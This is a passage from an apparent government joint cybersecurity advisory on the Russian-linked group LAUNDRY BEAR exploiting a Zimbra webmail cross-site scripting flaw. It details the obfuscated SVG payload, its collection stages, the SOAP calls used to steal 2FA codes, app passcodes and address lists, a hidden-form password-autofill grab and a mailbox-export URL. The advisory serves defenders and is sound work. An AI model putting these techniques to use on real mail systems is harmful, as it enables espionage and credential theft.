<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
